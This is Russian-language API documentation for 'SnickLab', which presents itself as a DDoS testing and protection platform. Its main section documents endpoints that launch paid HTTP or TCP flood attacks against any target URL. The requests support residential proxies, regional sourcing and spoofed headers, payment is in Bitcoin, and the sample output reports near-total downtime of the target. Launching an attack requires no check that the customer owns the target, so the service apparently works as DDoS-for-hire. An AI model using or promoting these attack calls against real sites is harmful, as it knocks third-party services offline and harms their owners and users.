Полная документация по интеграции с API SnickLab для тестирования и защиты.
Доступно только для пользователей тарифа Enterprise
SnickLab API предоставляет программный доступ ко всем функциям платформы, включая запуск DDoS-тестов, мониторинг результатов, настройку защиты и управление аккаунтом.
https://api.snicklab.com/v1
Для использования API вам потребуется:
Все запросы к API SnickLab должны быть аутентифицированы с помощью API ключа. Ваш API ключ содержит чувствительную информацию, храните его в безопасности и не включайте в публичный код.
API ключ должен передаваться в HTTP-заголовке X-API-Key
с каждым запросом:
X-API-Key: your_api_key
Пример запроса с использованием curl:
curl -X GET "https://api.snicklab.com/v1/account/status" \
-H "X-API-Key: your_api_key" \
-H "Content-Type: application/json"
Вы можете создавать, просматривать и отзывать API ключи в разделе API панели управления. Для каждого ключа доступны следующие настройки:
Для обеспечения стабильной работы API и предотвращения злоупотреблений, мы применяем ограничения на количество запросов (rate limiting).
Для тарифа Enterprise действуют следующие ограничения:
При превышении лимита запросы будут возвращать ошибку 429 Too Many Requests
.
С каждым ответом API возвращаются заголовки с информацией о текущих ограничениях:
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 985
X-RateLimit-Reset: 1589547834
X-RateLimit-Limit
: максимальное количество запросов в минутуX-RateLimit-Remaining
: количество оставшихся запросовX-RateLimit-Reset
: время сброса счетчика (Unix timestamp)DDoS API позволяет программно запускать и управлять DDoS-тестами, получать результаты и просматривать историю тестирования.
POST /ddos/attack
Запускает новую DDoS-атаку с указанными параметрами.
{
"target_url": "https://example.com", // URL цели (обязательно)
"method": "HTTP-FLOOD", // Метод атаки (обязательно)
"duration": 600, // Продолжительность в секундах (обязательно)
"rate": 100, // Количество запросов в секунду (опционально)
"headers": { // HTTP заголовки (опционально)
"User-Agent": "Mozilla/5.0 ...",
"Referer": "https://google.com"
},
"proxy_type": "residential", // Тип прокси (опционально)
"geo_regions": ["EU", "NA"], // Географические регионы (опционально)
"notes": "Test attack for example.com" // Примечания (опционально)
}
{
"attack_id": "atk_1a2b3c4d5e6f",
"status": "pending",
"target_url": "https://example.com",
"method": "HTTP-FLOOD",
"duration": 600,
"created_at": "2025-05-18T14:23:45Z",
"estimated_start": "2025-05-18T14:24:00Z",
"price": 25.00
}
GET /ddos/attack/{attack_id}
Возвращает информацию о статусе и результатах конкретной атаки.
{
"attack_id": "atk_1a2b3c4d5e6f",
"status": "running",
"target_url": "https://example.com",
"method": "HTTP-FLOOD",
"duration": 600,
"elapsed_time": 128,
"remaining_time": 472,
"created_at": "2025-05-18T14:23:45Z",
"started_at": "2025-05-18T14:24:02Z",
"estimated_end": "2025-05-18T14:34:02Z",
"downtime_percentage": 98.5,
"current_requests_per_second": 102,
"uptime_checks": [
{
"timestamp": "2025-05-18T14:25:00Z",
"status": "down",
"response_time": null,
"http_code": null
},
{
"timestamp": "2025-05-18T14:28:00Z",
"status": "down",
"response_time": null,
"http_code": null
}
]
}
DELETE /ddos/attack/{attack_id}
Останавливает выполняющуюся атаку. Успешно остановленная атака будет иметь статус "stopped".
{
"attack_id": "atk_1a2b3c4d5e6f",
"status": "stopped",
"message": "Attack successfully stopped",
"stopped_at": "2025-05-18T14:30:15Z",
"duration_actual": 372,
"refund_amount": 9.50
}
GET /ddos/attacks
Возвращает список всех атак с возможностью фильтрации и пагинации.
status
- фильтр по статусу (pending, running, completed, failed, stopped)from_date
- начальная дата в формате ISO 8601to_date
- конечная дата в формате ISO 8601page
- номер страницы (по умолчанию 1)per_page
- количество записей на странице (по умолчанию 20, максимум 100){
"attacks": [
{
"attack_id": "atk_1a2b3c4d5e6f",
"status": "completed",
"target_url": "https://example.com",
"method": "HTTP-FLOOD",
"duration": 600,
"created_at": "2025-05-18T14:23:45Z",
"downtime_percentage": 98.5
},
{
"attack_id": "atk_2b3c4d5e6f7g",
"status": "running",
"target_url": "https://test.com",
"method": "TCP",
"duration": 1800,
"created_at": "2025-05-18T15:30:00Z",
"downtime_percentage": 92.3
}
],
"pagination": {
"total": 28,
"per_page": 20,
"current_page": 1,
"last_page": 2
}
}
Protection API позволяет управлять настройками защиты от DDoS-атак, настраивать правила и получать статистику.
POST /protection/domain
Добавляет новый домен для защиты от DDoS-атак.
{
"domain": "example.com", // Домен для защиты (обязательно)
"protection_level": "advanced", // Уровень защиты: basic, standard, advanced (обязательно)
"origin_ip": "192.168.0.1", // IP оригинального сервера (обязательно)
"origin_port": 443, // Порт оригинального сервера (по умолчанию 80 для HTTP, 443 для HTTPS)
"https": true, // Использовать HTTPS (по умолчанию true)
"use_ssl_certificate": true, // Использовать SSL сертификат (по умолчанию true)
"bypass_rules": { // Правила обхода защиты (опционально)
"whitelisted_ips": ["1.2.3.4", "5.6.7.8"],
"whitelisted_countries": ["US", "CA"]
}
}
{
"domain_id": "dom_1a2b3c4d5e6f",
"status": "pending",
"domain": "example.com",
"protection_level": "advanced",
"created_at": "2025-05-18T16:45:30Z",
"cname_record": "example-com.protect.snicklab.com",
"verification_required": true,
"verification_method": "dns_txt",
"verification_value": "snicklab-verify=1a2b3c4d5e6f"
}
GET /protection/domain/{domain_id}
Возвращает информацию о защите конкретного домена и статистику блокировок.
{
"domain_id": "dom_1a2b3c4d5e6f",
"status": "active",
"domain": "example.com",
"protection_level": "advanced",
"created_at": "2025-05-18T16:45:30Z",
"activated_at": "2025-05-18T17:15:22Z",
"cname_record": "example-com.protect.snicklab.com",
"stats": {
"total_requests": 1250432,
"blocked_requests": 25689,
"blocked_percentage": 2.05,
"bandwidth_used": "42.8 GB",
"last_attack_detected": "2025-05-19T08:12:45Z",
"attack_types": {
"http_flood": 18452,
"bot_traffic": 5124,
"other": 2113
},
"top_attack_countries": [
{"country": "CN", "requests": 12504},
{"country": "RU", "requests": 8642},
{"country": "IN", "requests": 2541}
]
}
}
PUT /protection/domain/{domain_id}/rules
Обновляет правила защиты для конкретного домена.
{
"waf_enabled": true, // Включить WAF (Web Application Firewall)
"bot_protection_level": "medium", // Уровень защиты от ботов: low, medium, high
"rate_limiting": { // Ограничение запросов
"requests_per_second": 100,
"burst": 200
},
"ip_rules": { // Правила для IP-адресов
"blacklist": ["1.2.3.4", "5.6.7.0/24"],
"whitelist": ["9.8.7.6"]
},
"country_rules": { // Правила для стран
"blacklist": ["NK", "IR"],
"whitelist": ["US", "CA", "EU"]
},
"custom_rules": [ // Пользовательские правила
{
"name": "Block specific user agent",
"conditions": [
{
"field": "user_agent",
"operator": "contains",
"value": "BadBot"
}
],
"action": "block"
}
]
}
{
"domain_id": "dom_1a2b3c4d5e6f",
"message": "Protection rules updated successfully",
"updated_at": "2025-05-19T10:25:15Z",
"active_rules": 7,
"deployment_status": "in_progress",
"estimated_deployment_time": "2025-05-19T10:27:15Z"
}
Account API позволяет управлять настройками аккаунта, просматривать баланс и историю операций.
GET /account
Возвращает информацию о текущем аккаунте.
{
"account_id": "acc_1a2b3c4d5e6f",
"email": "[email protected]",
"username": "exampleuser",
"created_at": "2024-11-12T09:45:30Z",
"plan": "enterprise",
"plan_expires_at": "2025-11-12T09:45:30Z",
"balance": 354.25,
"api_rate_limit": 1000,
"api_calls_today": 258,
"attack_limit": {
"concurrent": 20,
"daily": 100,
"remaining_daily": 85
}
}
GET /account/balance
Возвращает текущий баланс аккаунта и историю последних транзакций.
{
"balance": 354.25,
"currency": "USD",
"last_update": "2025-05-19T12:30:45Z",
"recent_transactions": [
{
"id": "tx_1a2b3c4d5e6f",
"type": "deposit",
"amount": 100.00,
"description": "Bitcoin payment",
"created_at": "2025-05-15T10:24:30Z"
},
{
"id": "tx_2b3c4d5e6f7g",
"type": "charge",
"amount": -25.00,
"description": "DDoS attack atk_3c4d5e6f7g8h",
"created_at": "2025-05-18T14:24:02Z"
}
]
}
POST /account/payment
Создает новый счет на оплату для пополнения баланса.
{
"amount": 100.00, // Сумма пополнения в USD (обязательно)
"crypto_currency": "BTC", // Криптовалюта для оплаты (обязательно)
"callback_url": "https://example.com/payment/callback" // URL для уведомлений (опционально)
}
{
"payment_id": "pay_1a2b3c4d5e6f",
"status": "pending",
"amount": 100.00,
"crypto_currency": "BTC",
"crypto_amount": 0.00153846,
"payment_address": "3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5",
"expires_at": "2025-05-19T13:45:30Z",
"payment_url": "https://nowpayments.io/payment/1a2b3c4d5e6f",
"qr_code_url": "https://nowpayments.io/qr/1a2b3c4d5e6f.png"
}
Webhooks позволяют получать уведомления о событиях в реальном времени. Вместо постоянного опроса API на предмет изменений, вы можете настроить URL, на который будут отправляться уведомления при наступлении определенных событий.
POST /webhooks
Создает новый webhook для получения уведомлений.
{
"url": "https://example.com/webhooks/snicklab", // URL для отправки уведомлений
"events": ["attack.started", "attack.completed", "attack.failed", "payment.confirmed"], // События для уведомлений
"description": "Production webhook for attack notifications", // Описание (опционально)
"active": true // Активен ли webhook (по умолчанию true)
}
{
"webhook_id": "wh_1a2b3c4d5e6f",
"url": "https://example.com/webhooks/snicklab",
"events": ["attack.started", "attack.completed", "attack.failed", "payment.confirmed"],
"description": "Production webhook for attack notifications",
"active": true,
"created_at": "2025-05-19T14:30:00Z",
"secret": "whsec_1a2b3c4d5e6f7g8h9i0j" // Секретный ключ для проверки подписи
}
Все webhook-уведомления содержат подпись в заголовке X-SnickLab-Signature
, которую необходимо проверять для подтверждения подлинности запроса.
$payload = file_get_contents('php://input');
$signature = $_SERVER['HTTP_X_SNICKLAB_SIGNATURE'];
$secret = 'whsec_1a2b3c4d5e6f7g8h9i0j'; // Секретный ключ из ответа при создании webhook
$expected_signature = hash_hmac('sha256', $payload, $secret);
if (hash_equals($expected_signature, $signature)) {
// Подпись верна, обрабатываем webhook
$data = json_decode($payload, true);
// Обработка события в зависимости от типа
switch ($data['event']) {
case 'attack.started':
// Обработка начала атаки
break;
case 'attack.completed':
// Обработка завершения атаки
break;
// ...
}
http_response_code(200);
echo json_encode(['status' => 'success']);
} else {
// Подпись неверна
http_response_code(400);
echo json_encode(['status' => 'error', 'message' => 'Invalid signature']);
}
При взаимодействии с API могут возникать различные ошибки. Каждая ошибка имеет уникальный код и сообщение.
HTTP Code | Error Code | Description |
---|---|---|
400 | invalid_request | Некорректные параметры запроса |
401 | unauthorized | Неверный API ключ или отсутствует аутентификация |
403 | forbidden | Недостаточно прав для выполнения операции |
404 | not_found | Запрашиваемый ресурс не найден |
409 | conflict | Конфликт с текущим состоянием ресурса |
422 | validation_error | Ошибка валидации данных |
429 | rate_limit_exceeded | Превышен лимит запросов |
500 | server_error | Внутренняя ошибка сервера |
503 | service_unavailable | Сервис временно недоступен |
Получите тариф Enterprise и начните использовать полный функционал API для автоматизации тестирования и защиты.